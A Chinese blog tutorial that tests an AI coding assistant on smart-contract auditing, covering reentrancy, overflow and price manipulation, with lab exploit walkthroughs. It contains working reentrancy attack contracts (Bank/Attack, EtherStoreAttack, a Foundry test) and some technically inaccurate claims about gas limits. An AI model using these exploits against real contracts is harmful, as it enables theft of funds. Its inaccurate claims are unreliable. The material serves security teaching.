当前位置: 首页 > news >正文

【灵码助力安全3】——利用通义灵码辅助智能合约漏洞检测的尝试

前言

随着区块链技术的快速发展,智能合约作为去中心化应用(DApps)的核心组件,其重要性日益凸显。然而,智能合约的安全问题一直是制约区块链技术广泛应用的关键因素之一。由于智能合约代码一旦部署就难以更改,任何设计或实现上的漏洞都可能导致严重的后果,例如资金被盗、服务中断等。

除此之外,智能合约的漏洞类型与传统软件也不同,并不存在内存安全或者任意代码执行等问题。根据已有研究,智能合约中约80%的漏洞是无法使用机器检测的(Machine Undetectable Bugs)。这些漏洞大多与业务逻辑相关,而传统的分析方法并不考虑业务逻辑,因此无法检测出这些漏洞。

常见智能合约漏洞检测

重入攻击

重入攻击的存在源于Solidity智能合约的执行机制:每一行代码必须在下一行代码开始执行之前完成。这意味着当一个合约对外部合约进行调用时,原合约的执行会暂停,直到外部调用返回。这种机制使得被调用的合约在一段时间内能够完全控制合约的状态,从而可能引发无限循环的风险。

例如,在重入攻击中,恶意合约可以在外部调用尚未完成时,递归地回调原合约,以连续提取资源。这种情况下,原合约在完成其功能之前不应更新自己的余额或其他关键状态变量。重入攻击的形式多样,包括但不限于单功能重入、跨功能重入、跨合约重入以及只读重入攻击。这些攻击方式利用了合约在执行外部调用期间的脆弱性,导致合约资金或其他资源被非法获取。

预言机操纵

智能合约依赖于预言机(oracle)来获取区块链外部的数据,从而能够与链下系统(如股票市场、汇率等)进行交互。然而,如果预言机提供的数据不准确或被恶意操纵,就可能导致智能合约错误执行,这就是所谓的“预言机问题”。这种情况已经成为了许多去中心化金融(DeFi)应用程序中的常见安全威胁,其中最常见的攻击手法之一便是闪电贷款攻击。

闪电贷款是一种特殊的无抵押贷款形式,允许借款人在同一笔交易中借入大量资金,并要求在该交易结束前偿还。由于整个过程在一个区块内完成,如果借款人未能按时偿还,则交易自动回滚,不会对区块链状态造成影响。攻击者利用闪电贷款来迅速借入大量资金,通过一系列快速交易人为扭曲资产价格,从中牟取利润,同时确保所有操作都在区块链规则允许的范围内进行。

这种攻击手法不仅影响市场的公平性,还可能导致智能合约出现非预期的行为,进而给用户带来损失。

整数溢出和下溢

整数溢出和下溢是智能合约开发中常见的安全风险之一,尤其是在进行数值运算时尤为突出。这些漏洞往往发生在数值运算的结果超过了整数类型所能表示的最大或最小值的情况下。

整数溢出 发生在当两个正整数相加的结果超出了该整数类型的上限时。例如,在以太坊智能合约常用的编程语言 Solidity 中,uint256 类型可以存储从 0 到 2^256 - 1 的无符号整数。如果两个 uint256 变量相加后超过了这个最大值,那么实际结果将从该类型的最大值回绕到零,并继续向上计数,这种现象就称为溢出。在涉及到货币或积分等价值度量的情况下,这种错误可能导致严重的后果,比如资金被盗或者合约中的资产被不当转移。

整数下溢 是指当一个较大的正整数减去一个更大的正整数时,结果将超出该类型的最小值,通常为零(对于无符号整数而言)。在 Solidity 中,uint256 类型的变量无法表示负数,因此,任何导致此类变量小于零的操作都会引发异常并终止交易。但对于有符号整数类型如 int256,则可能会出现从最小负值直接跳转到最大正值的情况,即下溢。

时间戳依赖性

时间戳依赖性是智能合约中常见的安全漏洞,尤其是在合约逻辑需要依赖于时间信息时。区块时间戳是由矿工设定的,用来表示区块创建的时间点。然而,矿工可以有一定的自由度来调整时间戳,这就会导致合约中的时间相关逻辑变得不可预测。

当智能合约依赖于区块时间戳来进行某些操作,如判断竞拍结束时间、合约到期日期或是触发特定事件时,矿工可以通过调整时间戳来影响合约的行为。例如,假设一个竞拍合约使用时间戳来确定竞拍结束的时间,矿工可以通过提前时间戳来使竞拍提前结束,或者延迟时间戳来延长竞拍期,从而影响竞拍结果。

此外,由于区块时间戳并不是一个精确的时间度量工具,它可能受到网络延迟、矿工的主观选择等因素的影响,导致合约中的时间敏感操作出现异常。例如,合约可能预期在一个确切的时间点执行某项操作,但由于时间戳的波动,实际执行时间可能会有所不同,从而导致合约状态或行为不符合预期。

利用通义灵码辅助检测及利用重入漏洞

本部分参考了南洋理工大学的论文《When GPT Meets Program Analysis: Towards Intelligent Detection of Smart Contract Logic Vulnerabilities in GPTScan》,学习借鉴了该论文中的prompt及部分规则设计。

重入漏洞的关键点之一是存在外部调用函数,就是如下所示的msg.sender.call(转账),以及转账的顺序——先更新余额还是先进行转账

首先我们利用普通状态下的通义灵码测试对智能合约代码进行漏洞检测

放入一段具有很明显重入攻击特征的代码

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;contract Bank {mapping (address => uint) public balances; // 账户 => 余额// 存钱函数function desposit() public payable { require(msg.value >0, "save money cannot be zero");balances[msg.sender] += msg.value;}// 取钱函数function withdraw() public{require(balances[msg.sender] >0,"balance is not exists");(bool success,) =   msg.sender.call{value:balances[msg.sender]}(""); // 递归下面的操作必须等待递归之后才能执行balances[msg.sender] = 0; // 置0 操作}// 查看账户余额function getBalance() public view  returns(uint){return balances[msg.sender];}}contract Attack {Bank public bank;constructor( address _bankAddress){bank = Bank(_bankAddress);}// 攻击函数function attack() public payable {bank.desposit{value:msg.value}();bank.withdraw();}receive() external payable {if(address(bank).balance >0){ //如果银行合约还有钱持续调用bank.withdraw();}}
}

这段代码包含两个合约:Bank 和 Attack。Bank 合约允许用户存入和提取以太币,并能够查询账户余额。Attack 合约则用于与 Bank 合约交互,通过存款和提取操作实现资金的转移。

依然像前两篇文章那样,全选代码告知,让灵码进行漏洞检测

已知该部分代码存在漏洞,请帮忙进行检测

此时可以发现,灵码能够识别出基本的重入攻击,并且进行了基础的拼写检查、冗余检查、潜在的安全风险检查

image.png

可以看到灵码提出了一种修复方式:

函数的执行会消耗gas,如果可支付gas不满足递归消耗的gas,从而报错进行合约状态回滚。在灵码中给出的 transfer 或 send 方法 都是可以有效防止重入的

  • transfer():发送失败则回滚交易状态,只传递 2300 Gas 供调用,防止重入。

  • send():发送失败则返回 false,只传递 2300 Gas 供调用,防止重入。

  • call():发送失败返回 false,会传递所有可用 Gas 给予外部合约 fallback() 调用;可通过 { value: money } 限制 Gas,不能有效防止重入。

但是显然,对照人工审计结果,除了上述之外,还有更好的方式来进一步强化这段代码的安全性,所以,为了验证灵码是否具备针对重入漏洞的高级优化能力,我没有告知而是直接让其进行优化操作:

我想进一步提高该部分代码的安全性,请你帮忙进行优化

不负众望,灵码确实也是给出了另一种比较好的解决方法:

image.png

先账户置0,就算转账触发递归,再次取钱 ,由于账户余额小于0,会直接抛异常。(当攻击这利用Attack合约攻击已修复好Bank合约,按道理能触发递归,接着会报 “balance is not exists”,但是他却能正常执行,但是重入没触发,钱存到Bank里,没有拿回来。)

除了上述两种,还可以通过添加互斥锁来实现,第一去取钱,状态变量修改为true,从而将函数锁住,必须等这次函数执行完毕,才能重新对函数进行调用,这块虽然灵码暂时没有提到,但是后面在我引导下还是成功指出了这种方法

总的来说,效果还是很不错的,下面我们以实际的靶场为例,尝试采用通义灵码来检测和利用重入漏洞

靶场描述如下:

EtherStore 的重入漏洞是指智能合约设计中的一个缺陷,该缺陷允许攻击者利用重入特性从 EtherStore 合约中提取比他们有权获得的更多的资金。此漏洞源于 EtherStore 合约中的 withdrawFunds 函数,在更新账户余额之前会先将以太币转移到攻击者的地址。这使得攻击者的合约可以在余额更新之前回调 withdrawFunds 函数,导致多次提款,并有可能耗尽 EtherStore 合约中的所有以太币。

EtherStore 是一个简单的金库,它可以管理每个人的以太币。但它存在漏洞,你能窃取所有的以太币吗?

给出的EtherStore部分代码如下:

contract EtherStore {mapping(address => uint256) public balances;function deposit() public payable {balances[msg.sender] += msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] >= _weiToWithdraw);(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");// check if after send still enough to avoid underflowif (balances[msg.sender] >= _weiToWithdraw) {balances[msg.sender] -= _weiToWithdraw;}}
}

结合我上面的示例代码,相信可以显而易见的看出此处就是存在重入漏洞的,我们让灵码帮忙给出一个攻击合约和一个测试合约,其中攻击合约能够使用**msg.sender.call{value: _weiToWithdraw}(“”)**来进行多次转入;测试合约能够验证攻击是否成功。

已知EtherStore合约如下,请你给出EtherStoreAttack攻击合约,帮助有效验证EtherStore合约中的漏洞。

给出的完整攻击合约如下:

pragma solidity ^0.8.0;interface IEtherStore {function deposit() external payable;function withdrawFunds(uint256 _weiToWithdraw) external;
}contract EtherStoreAttack {IEtherStore public etherStore;constructor(address _etherStoreAddress) {etherStore = IEtherStore(_etherStoreAddress);}// Fallback function is called when EtherStore sends Ether to this contractreceive() external payable {if (address(etherStore).balance >= 1 ether) {// Re-enter the withdrawFunds functionetherStore.withdrawFunds(1 ether);}}// Function to deposit funds into EtherStorefunction attack() external payable {require(msg.value >= 1 ether, "Need at least 1 ether to attack");etherStore.deposit{value: msg.value}();etherStore.withdrawFunds(1 ether);}// Helper function to withdraw all Ether from this contractfunction withdrawAll() external {selfdestruct(payable(msg.sender));}// Helper function to check the balance of this contractfunction getBalance() external view returns (uint256) {return address(this).balance;}
}

我们对比原版给出的攻击合约,发现还是有一些差异的,原版中增加了很多详细的日志输出,比较友好:

image.png

下面进入到remix中进行编译并尝试分析攻击步骤,大致步骤如下:

  1. 攻击者将以太币存入银行合约

  2. 银行合约就会根据存入的以太币而更新攻击者的余额

  3. 攻击者提现,拿回资金

  4. 资金转移到攻击者的合约上

  5. 此时攻击者的回调函数(fallback或者receive)被触发,函数调用提现方法

  6. 智能合约的逻辑里提现方法又被调用

  7. 资金发送到攻击者

  8. 第5-7步不断重复,不会触发更新用户余额,直到触发gas限制或银行合约里的ETH余额为0

  9. 最后才更新余额

尝试复现,一开始,假设合约原本有50个ETH

image.png

根据刚才的攻击合约,调用deposit转入1ETH,攻击合约有1ETH

image.png

调用attack,设置这个gas为超大,使其能够尽可能的发起最多次的重入。ETH全部被攻击者重入获取

image.png
image.png

实际上共消耗了这么多的gas fee 483672+467408

image.png

调用attack.withdraw,将ETH转到攻击者的钱包中,攻击者的钱包余额增加。

image.png

这里我们还是回到foundary中来测试漏洞,验证脚本还是采用的官方的sol文件:

pragma solidity ^0.8.18;
import "forge-std/Test.sol";
contract EtherStore {mapping(address => uint256) public balances;function deposit() public payable {balances[msg.sender] += msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] >= _weiToWithdraw);(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");// check if after send still enough to avoid underflowif (balances[msg.sender] >= _weiToWithdraw) {balances[msg.sender] -= _weiToWithdraw;}}
}contract EtherStoreRemediated {mapping(address => uint256) public balances;bool internal locked;modifier nonReentrant() {require(!locked, "No re-entrancy");locked = true;_;locked = false;}function deposit() public payable {balances[msg.sender] += msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public nonReentrant {require(balances[msg.sender] >= _weiToWithdraw);balances[msg.sender] -= _weiToWithdraw;(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");}
}contract ContractTest is Test {EtherStore store;EtherStoreRemediated storeRemediated;EtherStoreAttack attack;EtherStoreAttack attackRemediated;function setUp() public {store = new EtherStore();storeRemediated = new EtherStoreRemediated();attack = new EtherStoreAttack(address(store));attackRemediated = new EtherStoreAttack(address(storeRemediated));vm.deal(address(store), 5 ether);vm.deal(address(storeRemediated), 5 ether);vm.deal(address(attack), 2 ether);vm.deal(address(attackRemediated), 2 ether);}function testReentrancy() public {attack.Attack();}function testFailRemediated() public {attackRemediated.Attack();}
}contract EtherStoreAttack is Test {EtherStore store;constructor(address _store) {store = EtherStore(_store);}function Attack() public {console.log("EtherStore balance", address(store).balance);store.deposit{value: 1 ether}();console.log("Deposited 1 Ether, EtherStore balance",address(store).balance);store.withdrawFunds(1 ether); // exploit hereconsole.log("Attack contract balance", address(this).balance);console.log("EtherStore balance", address(store).balance);}// fallback() external payable {}// we want to use fallback function to exploit reentrancyreceive() external payable {console.log("Attack contract balance", address(this).balance);console.log("EtherStore balance", address(store).balance);if (address(store).balance >= 1 ether) {store.withdrawFunds(1 ether); // exploit here}}
}

具体解析如下:

EtherStore 合约

contract EtherStore {mapping(address => uint256) public balances;function deposit() public payable {balances[msg.sender] += msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public {require(balances[msg.sender] >= _weiToWithdraw);(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");// check if after send still enough to avoid underflowif (balances[msg.sender] >= _weiToWithdraw) {balances[msg.sender] -= _weiToWithdraw;}}
}
  • balances:一个映射,存储每个地址的余额。

  • deposit:允许用户存入以太币,增加其余额。

  • withdrawFunds:允许用户提取以太币。问题在于,转账操作在更新余额之前执行,这使得攻击者可以通过回调函数(如 receive)重新进入 withdrawFunds 方法,从而多次提取资金。

EtherStoreRemediated 合约

contract EtherStoreRemediated {mapping(address => uint256) public balances;bool internal locked;modifier nonReentrant() {require(!locked, "No re-entrancy");locked = true;_;locked = false;}function deposit() public payable {balances[msg.sender] += msg.value;}function withdrawFunds(uint256 _weiToWithdraw) public nonReentrant {require(balances[msg.sender] >= _weiToWithdraw);balances[msg.sender] -= _weiToWithdraw;(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");require(send, "send failed");}
}
  • balances:一个映射,存储每个地址的余额。

  • locked:一个布尔变量,用于防止重入攻击。

  • nonReentrant:一个修饰器,确保函数在执行期间不会被重入。

  • deposit:允许用户存入以太币,增加其余额。

  • withdrawFunds:允许用户提取以太币。使用 nonReentrant 修饰器确保在转账操作前更新余额,防止重入攻击。

ContractTest 测试合约

contract ContractTest is Test {EtherStore store;EtherStoreRemediated storeRemediated;EtherStoreAttack attack;EtherStoreAttack attackRemediated;function setUp() public {store = new EtherStore();storeRemediated = new EtherStoreRemediated();attack = new EtherStoreAttack(address(store));attackRemediated = new EtherStoreAttack(address(storeRemediated));vm.deal(address(store), 5 ether);vm.deal(address(storeRemediated), 5 ether);vm.deal(address(attack), 2 ether);vm.deal(address(attackRemediated), 2 ether);}function testReentrancy() public {attack.Attack();}function testFailRemediated() public {attackRemediated.Attack();}
}
  • setUp:初始化合约实例,并给它们分配一些以太币。

  • testReentrancy:调用攻击合约的 Attack 方法,验证 EtherStore 合约是否容易受到重入攻击。

  • testFailRemediated:调用攻击合约的 Attack 方法,验证 EtherStoreRemediated 合约是否能够防止重入攻击。

EtherStoreAttack 攻击合约

contract EtherStoreAttack is Test {EtherStore store;constructor(address _store) {store = EtherStore(_store);}function Attack() public {console.log("EtherStore balance", address(store).balance);store.deposit{value: 1 ether}();console.log("Deposited 1 Ether, EtherStore balance",address(store).balance);store.withdrawFunds(1 ether); // exploit hereconsole.log("Attack contract balance", address(this).balance);console.log("EtherStore balance", address(store).balance);}// fallback() external payable {}// we want to use fallback function to exploit reentrancyreceive() external payable {console.log("Attack contract balance", address(this).balance);console.log("EtherStore balance", address(store).balance);if (address(store).balance >= 1 ether) {store.withdrawFunds(1 ether); // exploit here}}
}
  • store:存储 EtherStore 合约的地址。

  • Attack:攻击函数,首先存入 1 以太币,然后调用 withdrawFunds 方法进行重入攻击。

  • receive:回调函数,当 EtherStore 合约向攻击合约发送以太币时触发。如果 EtherStore 合约的余额大于等于 1 以太币,再次调用 withdrawFunds 方法进行重入攻击。

    image.png

利用通义灵码辅助检测溢出漏洞

溢出漏洞是每个在接触合约安全最先接触到的漏洞,没有之一,同时也是最简单的漏洞。溢出分为上溢和下溢,并且该漏洞在solidity8.0引入了检查,基本消失,为什么是基本消失呢?因为还有极少场景还是能溢出,后面的漏洞会提到。

该漏洞的溢出问题是:存在用户可自定义增加锁仓时间可让时间进行溢出,使其能够提前取出存放的ETH。

我们提供一段代码给灵码进行漏洞检测:

pragma solidity ^0.8.18;/*** @title TimeLock* @dev 这是一个时间锁合约,用于锁定用户的 ETH 并在指定时间后解锁。*/
contract TimeLock {// 存储每个地址的余额mapping(address => uint) public balances;// 存储每个地址的锁定期限mapping(address => uint) public lockTime;/*** @dev 存款函数,接受 ETH 并锁定 1 周。*/function deposit() external payable {require(msg.value > 0, "Deposit value must be greater than 0");balances[msg.sender] += msg.value;lockTime[msg.sender] = block.timestamp + 1 weeks; // 锁定时间为当前区块时间加上 1 周}/*** @dev 允许用户增加自己的锁定期限。* @param _secondsToIncrease 要增加的秒数。* @dev 注意:此函数存在潜在的安全风险,因为用户可以无限增加锁定期限。*/function increaseLockTime(uint _secondsToIncrease) public {lockTime[msg.sender] += _secondsToIncrease; // 增加锁定期限}/*** @dev 取款函数,允许用户在锁定期限过后提取 ETH。*/function withdraw() public {require(balances[msg.sender] > 0, "Insufficient funds"); // 检查余额是否大于 0require(block.timestamp > lockTime[msg.sender], "Lock time not expired"); // 检查锁定期限是否已过uint amount = balances[msg.sender]; // 获取用户的余额balances[msg.sender] = 0; // 将余额设置为 0,表示钱已取出(bool sent, ) = msg.sender.call{value: amount}(""); // 使用 call 方法发送 ETHrequire(sent, "Failed to send Ether"); // 确保 ETH 发送成功}
}

给出prompt:

已知该部分代码存在漏洞,请帮忙进行检测

image.png

可以看到,对于关键函数漏洞的识别还是很准确的,下面我们回到论文中去尝试解读一下它的总体逻辑,看看有没有办法将这套逻辑沿用到灵码上

论文部分

论文地址为:https://arxiv.org/pdf/2308.03314

在论文中,有提到类似于价格操纵的漏洞:

image.png

在上面这个例子中,从代码层面来看其实是不存在漏洞的,但是在业务逻辑层面却存在一些漏洞点:第18-21行的get Price()函数使用余额的比例来计算价格,但金额很可能是容易被操纵的(例如flashloan),从而价格也很容易被操纵

那么未经调教的灵码能否识别到这个呢?我们来尝试一下

image.png

通过上述可以看到,灵码能够较好的识别到隐藏的逻辑漏洞,并且给出一些修复建议,毕竟距离这篇论文撰写完成时间已经过去了一年多了,这期间大模型的进步还是太快了

进行了一些基础的测试和分析后,下面我们还是回到论文中去看看他们提出的工作流

image.png

上图主要表明了GPTScan的高级工作流,蓝色块表示大模型提供的能力,绿色块表示静态分析。当给定一个智能合约项目,它可以是一个独立的Solidity文件或包含多个Solidity文件的基于框架的合约项目,GPTScan首先进行合约解析,调用图分析确定函数可达性,综合过滤提取候选函数及其对应的上下文函数。然后利用GPT将候选函数与预先抽象的场景和相关漏洞类型的属性进行匹配。对于匹配的函数,GPTScan通过GPT进一步识别其关键变量和语句,随后将其传递给专门的静态分析模块以确认漏洞。

image.png

GPTScan采用了一种不同的方法,将漏洞类型分解为代码级的场景和属性。具体地,它使用场景描述逻辑漏洞可能发生的代码功能,使用属性来解释易受攻击的代码属性或操作。上图展示了如何将10种常见的逻辑漏洞类型分解为场景和属性。这些漏洞类型是从最近的一项研究中选择的关于需要高级语义oracle的智能合约漏洞。

image.png

这里是一个比较关键的prompt模板,主要内容是:

系统:你是一个智能合约审计员。你会被问到与代码属性相关的问题。你可以在后台模拟回答五次,然后给我提供出现频率最高的答案。此外,请严格遵守问题中指定的输出格式,无需解释你的答案。

情景匹配:根据下面的智能合约代码,回答下面的问题,并以JSON格式组织结果,如
{“1”:“是"或"否”,“2”:“是"或者"否”}
“1”:[%场景_1%]?
“2”:[%场景_2%]?
[%代码%]

属性匹配:下列智能合约是否"[%场景,属性(漏洞成因)%]“?仅回答"是"或"否”
[%代码%]

此处也有几个关键点需要注意:

  • 通过prompt的设计,多获得结构化的输出

  • 匹配scenario时,使用多项选择来快速匹配多个可能的选项

  • 匹配property时,每个单独匹配,来减少其他选项带来的干扰

第二个关键的prompt模板如下:

image.png

这边主要是通过prompt的设计,获得结构化的输出,针对每一项输出的描述,查找对应的变量/表达式

总结

通过本次测试来看,利用灵码技术在智能合约漏洞检测方面确实能够发挥一些作用。对比论文中采用GPT3.5制作的GPTScan工具,实验结果表明,在使用灵码的前提下,即便没有增加对应的前置提示(prompt),系统也能够成功识别到隐藏的逻辑漏洞,而且这种检测方法可能具有更高的准确率和更低的误报率,因为它直接针对代码的行为模式进行分析。

而结合靶场看,利用灵码进行攻击合约或者说EXP编写时,还是有很多不足之处,在生成具体的攻击向量时,其有效性和效率可能会受到限制,再加上对于漏洞的具体机制无法准确理解,所以才导致了最终利用脚本存在缺陷。

相关文章:

【灵码助力安全3】——利用通义灵码辅助智能合约漏洞检测的尝试

前言 随着区块链技术的快速发展&#xff0c;智能合约作为去中心化应用&#xff08;DApps&#xff09;的核心组件&#xff0c;其重要性日益凸显。然而&#xff0c;智能合约的安全问题一直是制约区块链技术广泛应用的关键因素之一。由于智能合约代码一旦部署就难以更改&#xf…...

openEuler 22.04使用yum源最快速度部署k8s 1.20集群

本文目的 openEuler的官方源里有kubernetes 1.20&#xff0c;使用yum源安装是最快部署一个k8s集群的办法 硬件环境 主机名系统架构ipmasteropenEuler release 22.03 (LTS-SP2)arm192.168.3.11edgeopenEuler release 22.03 (LTS-SP2)arm192.168.3.12deviceopenEuler release 22.…...

Docker Compose 教程

Docker Compose 是一个 Docker 容器的依赖管理工具。 例如我们一个服务需要依赖到多个 Docker 容器&#xff0c;那么使用 Docker Compose 这个工具就能很方便的帮助我们管理。 Docker Compose 通过配置文件 .yml。 定义了所有容器的依赖关系。 然后我们只需把我们想要的 Docke…...

opencv的NLM去噪算法

NLM&#xff08;Non-Local Means&#xff09;去噪算法是一种基于图像块&#xff08;patch&#xff09;相似性的去噪方法。其基本原理是&#xff1a; 图像块相似性&#xff1a;算法首先定义了一个搜索窗口&#xff08;search window&#xff09;&#xff0c;然后在该窗口内寻找…...

scala基础学习_方法函数

文章目录 方法与函数函数&#xff08;又称函数值/匿名函数&#xff09;定义方法注意 单参数函数多参数函数函数作为参数传递 方法将方法转换为函数方法的返回值总结 方法与函数 函数&#xff08;又称函数值/匿名函数&#xff09; 定义在任何地方&#xff1a;函数可以定义在类…...

Android车机DIY开发之软件篇(八)单独编译

Android车机DIY开发之软件篇(八)单独编译 1.CarLauncher单独编译 CarLauncher源码位于 packages/apps/Car/Launcher 用Eclipse ADT 谷歌定制版编译而成&#xff0c;.mk .bp编译 Android13目录如下: alientekalientek:~/packages/apps/Car$ ls Calendar …...

【Bug】报错信息:Required request body is missing(包含五种详细解决方案)

大家好&#xff0c;我是摇光~ 遇到“Required request body is missing”错误通常意味着服务器期望在HTTP请求中包含一个请求体&#xff08;body&#xff09;&#xff0c;但是实际上并没有收到。 例如&#xff1a; 当你在使用网页或应用程序的后台&#xff08;比如一个网站或手…...

Docker 专栏 —— Dockerfile 指令详解

文章目录 ADD 复制文件COPY 复制文件ARG 设置构建参数CMD 容器启动命令ENTRYPOINT ⼊⼝点ENV 设置环境变量EXPOSE 声明暴露的端⼝FROM 指定基础镜像LABEL 为镜像添加元数据MAINTAINER 指定维护者的信息RUN 执⾏命令USER 设置⽤户VOLUME 指定挂载点WORKDIR 指定⼯作⽬录 ADD 复制…...

Spring Boot 项目自定义加解密实现配置文件的加密

在Spring Boot项目中&#xff0c; 可以结合Jasypt 快速实现对配置文件中的部分属性进行加密。 完整的介绍参照&#xff1a; Spring Boot Jasypt 实现application.yml 属性加密的快速示例 但是作为一个技术强迫症&#xff0c;总是想着从底层开始实现属性的加解密&#xff0c;…...

在ubuntu下对NFS做性能测试

安装NFS 首先&#xff0c;安装服务 sudo apt update sudo apt install nfs-kernel-server然后创建共享文件夹 # 请自定义你自己的共享目录 sudo mkdir -p /exports/nfs4/homes sudo chmod -R 777 /exports/nfs4/homes# 这个可以根据no_root_squash标致选择设置。 # 如果不设…...

Spring-Cloud-Gateway-Samples,nacos为注册中心,负载均衡

背景&#xff1a;本想找个简单例子看下&#xff0c;无奈版本依赖太过复杂&#xff0c;花了点时间。记录下吧 使用Spring Cloud Gateway作为网关服务&#xff0c;Nacos作为注册中心&#xff0c;实现对子服务的负载均衡访问。简单例子。 一、gateway-main-nacos服务端&#xff…...

StarRocks Awards 2024 年度贡献人物

在过去一年&#xff0c;StarRocks 在 Lakehouse 与 AI 等关键领域取得了显著进步&#xff0c;其卓越的产品功能极大地简化和提升了数据分析的效率&#xff0c;使得"One Data&#xff0c;All Analytics" 的愿景变得更加触手可及。 虽然实现这一目标的道路充满挑战且漫…...

Autoencoder(李宏毅)机器学习 2023 Spring HW8 (Boss Baseline)

1. Autoencoder 简介 Autoencoder是一种用于学习数据高效压缩表示的人工神经网络。它由两个主要部分组成: Encoder 编码器将输入数据映射到一个更小的、低维空间中的压缩表示,这个空间通常称为latent space或bottleneck。 这一过程可以看作是数据压缩,去除冗余信息,仅保留…...

深入探索 ScottPlot.WPF:在 Windows 桌面应用中绘制精美图表的利器

一、ScottPlot.WPF 简介 ScottPlot.WPF 是基于 ScottPlot 绘图库专门为 Windows Presentation Foundation (WPF) 框架量身定制的强大绘图组件。它无缝集成到 WPF 应用程序中,为开发者提供了一种简洁、高效的方式来可视化数据,无论是科学研究中的实验数据展示、金融领域的行情…...

React中的useMemo 和 useEffect 哪个先执行?

在 React 组件的渲染过程中&#xff0c;useMemo 和 useEffect 的执行顺序是不同的。具体来说&#xff1a; useMemo 先执行&#xff1a;useMemo 是在 渲染阶段 执行的&#xff0c;它的作用是缓存计算结果&#xff0c;确保在渲染过程中可以直接使用缓存的值。 useEffect 后执行&…...

错误修改系列---基于RNN模型的心脏病预测(pytorch实现)

前言 前几天发布了pytorch实现&#xff0c;TensorFlow实现为&#xff1a;基于RNN模型的心脏病预测(tensorflow实现)&#xff0c;但是一处繁琐地方 一处错误&#xff0c;这篇文章进行修改&#xff0c;修改效果还是好了不少&#xff1b;源文章为&#xff1a;基于RNN模型的心脏病…...

Table-Augmented Generation(TAG):Text2SQL与RAG的升级与超越

当下AI与数据库的融合已成为推动数据管理和分析领域发展的重要力量。传统的数据库查询方式&#xff0c;如结构化查询语言&#xff08;SQL&#xff09;&#xff0c;要求用户具备专业的数据库知识&#xff0c;这无疑限制了非专业人士对数据的访问和利用。为了打破这一壁垒&#x…...

Stable Diffusion本地部署教程(附安装包)

想使用Stable Diffusion需要的环境有哪些呢? python3.10.11(至少也得3.10.6以上):依赖python环境NVIDIA:GPUgit:从github上下载包(可选,由于我已提供安装包,你可以不用git)Stable Diffusion安装包工具包: NVIDIA:https://developer.nvidia.com/cuda-toolkit-archiv…...

【物联网原理与运用】知识点总结(上)

目录 名词解释汇总 第一章 物联网概述 1.1物联网的基本概念及演进 1.2 物联网的内涵 1.3 物联网的特性——泛在性 1.4 物联网的基本特征与属性&#xff08;五大功能域&#xff09; 1.5 物联网的体系结构 1.6 物联网的关键技术 1.7 物联网的应用领域 第二章 感知与识别技术 2.1 …...

JuiceFS 2024:开源与商业并进,迈向 AI 原生时代

即将过去的 2024 年&#xff0c;是 JuiceFS 开源版本推出的第 4 年&#xff0c;企业版的第 8 个年头。回顾过去这一年&#xff0c;JuiceFS 社区版依旧保持着快速成长的势头&#xff0c;GitHub 星标突破 11.1K&#xff0c;各项使用指标增长均超过 100%&#xff0c;其中文件系统总…...

C#,动态规划问题中基于单词搜索树(Trie Tree)的单词断句分词( Word Breaker)算法与源代码

1 分词 分词是自然语言处理的基础&#xff0c;分词准确度直接决定了后面的词性标注、句法分析、词向量以及文本分析的质量。英文语句使用空格将单词进行分隔&#xff0c;除了某些特定词&#xff0c;如how many&#xff0c;New York等外&#xff0c;大部分情况下不需要考虑分词…...

计算机网络(六)应用层

6.1、应用层概述 我们在浏览器的地址中输入某个网站的域名后&#xff0c;就可以访问该网站的内容&#xff0c;这个就是万维网WWW应用&#xff0c;其相关的应用层协议为超文本传送协议HTTP 用户在浏览器地址栏中输入的是“见名知意”的域名&#xff0c;而TCP/IP的网际层使用IP地…...

上海亚商投顾:沪指探底回升微涨 机器人概念股午后爆发

上海亚商投顾前言&#xff1a;无惧大盘涨跌&#xff0c;解密龙虎榜资金&#xff0c;跟踪一线游资和机构资金动向&#xff0c;识别短期热点和强势个股。 一.市场情绪 市场全天探底回升&#xff0c;沪指盘中跌超1.6%&#xff0c;创业板指一度跌逾3%&#xff0c;午后集体拉升翻红…...

conda相关操作

conda 是一个开源的包管理和环境管理工具&#xff0c;主要用于 Python 和数据科学领域。它可以帮助用户安装、更新、删除和管理软件包&#xff0c;同时支持创建和管理虚拟环境。以下是关于 conda 的所有常见操作&#xff1a; 1. 安装 Conda Conda 通常通过安装 Anaconda 或 Mi…...

使用TCP协议实现智能聊天机器人

实验目的与要求 本实验是程序设计类实验&#xff0c;要求使用原始套接字编程&#xff0c;掌握TCP/IP协议与网络编程Sockets通信模型&#xff0c;并根据教师给定的任务要求&#xff0c;使用TCP协议实现智能聊天机器人。 &#xff08;1&#xff09;熟悉标准库socket 的用法。 …...

PHP二维数组去除重复值

Date: 2025.01.07 20:45:01 author: lijianzhan PHP二维数组内根据ID或者名称去除重复值 代码示例如下&#xff1a; // 假设 data数组如下 $data [[id > 1, name > Type A],[id > 2, name > Type B],[id > 1, name > Type A] // 重复项 ];// 去重方法 $dat…...

2025年01月11日Github流行趋势

项目名称&#xff1a;xiaozhi-esp32 项目地址url&#xff1a;https://github.com/78/xiaozhi-esp32项目语言&#xff1a;C历史star数&#xff1a;2433今日star数&#xff1a;321项目维护者&#xff1a;78, MakerM0, whble, nooodles2023, Kevincoooool项目简介&#xff1a;构建…...

备战蓝桥杯 队列和queue详解

目录 队列的概念 队列的静态实现 总代码 stl的queue 队列算法题 1.队列模板题 2.机器翻译 3.海港 双端队列 队列的概念 和栈一样&#xff0c;队列也是一种访问受限的线性表&#xff0c;它只能在表头位置删除&#xff0c;在表尾位置插入&#xff0c;队列是先进先出&…...

IT面试求职系列主题-Jenkins

想成功求职&#xff0c;必要的IT技能一样不能少&#xff0c;先说说Jenkins的必会知识吧。 1) 什么是Jenkins Jenkins 是一个用 Java 编写的开源持续集成工具。它跟踪版本控制系统&#xff0c;并在发生更改时启动和监视构建系统。 2&#xff09;Maven、Ant和Jenkins有什么区别…...

Vue篇-06

